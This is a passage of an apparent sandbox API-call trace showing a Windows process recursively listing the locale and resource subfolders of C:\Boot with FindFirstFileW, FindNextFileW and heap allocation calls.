lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.173] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.173] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280240 [0042.173] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.174] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0042.174] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.174] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.174] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280380 [0042.174] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.174] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0042.174] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.174] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.174] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280540 [0042.174] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.175] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0042.175] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.175] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.175] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x42801c0 [0042.323] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.323] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.323] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.324] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.324] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0042.334] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.334] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.334] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.334] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280800 [0042.344] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.344] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.345] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.345] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0042.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.345] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.345] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.345] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280740 [0042.345] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.345] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.345] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.345] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.345] FindClose (in: hFindFile=0x4280740 | out: hFindFile=0x4280740) returned 1 [0042.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.345] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.345] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.345] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280600 [0042.365] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.365] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.365] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.365] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0042.365] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.365] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.365] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.365] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280380 [0042.365] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.365] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.365] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.365] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.365] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0042.367] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.367] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.367] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.367] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280640 [0042.375] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.375] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.375] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.375] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.376] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0042.376] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.376] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.376] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.376] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x42801c0 [0042.378] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.378] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.378] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.378] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.378] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0042.378] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.378] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.378] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.378] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280100 [0042.379] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.379] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.379] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.379] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.379] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0042.379] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.379] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.379] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.379] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280640 [0042.379] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.379] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.379] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.379] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0042.379] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.379] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.379] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.379] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280280 [0042.380] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.380] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.380] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.380] FindClose (in: hFindFile=0x4280280 | out: hFindFile=0x4280280) returned 1 [0042.380] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.380] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.380] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.380] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.380] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280600 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.381] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0042.381] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.381] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.381] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.381] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280600 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.381] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.382] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0042.382] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.382] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.382] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.382] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280380 [0042.382] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.382] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.382] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.382] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.382] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0042.382] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.383] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.383] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.383] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280540 [0042.383] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.383] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.383] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.383] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.383] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0042.383] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.383] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.383] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.383] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280280 [0042.384] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.384] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.384] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.384] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.384] FindClose (in: hFindFile=0x4280280 | out: hFindFile=0x4280280) returned 1 [0042.384] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.384] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.384] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.384] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280800 [0042.384] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.384] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.384] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.385] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.385] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0042.385] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.385] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.385] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.385] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280740 [0042.385] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.385] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.385] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.385] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0042.386] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x42801c0 [0042.386] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0042.386] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0042.386] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0042.386] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0042.386] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.386] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.386] FindClose (in: hFindFile=0x4280740 | out: hFindFile=0x4280740) returned 1 [0042.386] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.386] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.387] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280400 [0042.387] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.387] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.387] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.387] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0042.387] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.387] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.387] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280600 [0042.388] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.388] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0042.388] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.389] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280500 [0042.389] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.389] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.389] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.389] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0042.389] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.389] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.390] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280600 [0042.390] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.390] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0042.390] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.390] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.390] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x42800c0 [0042.390] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 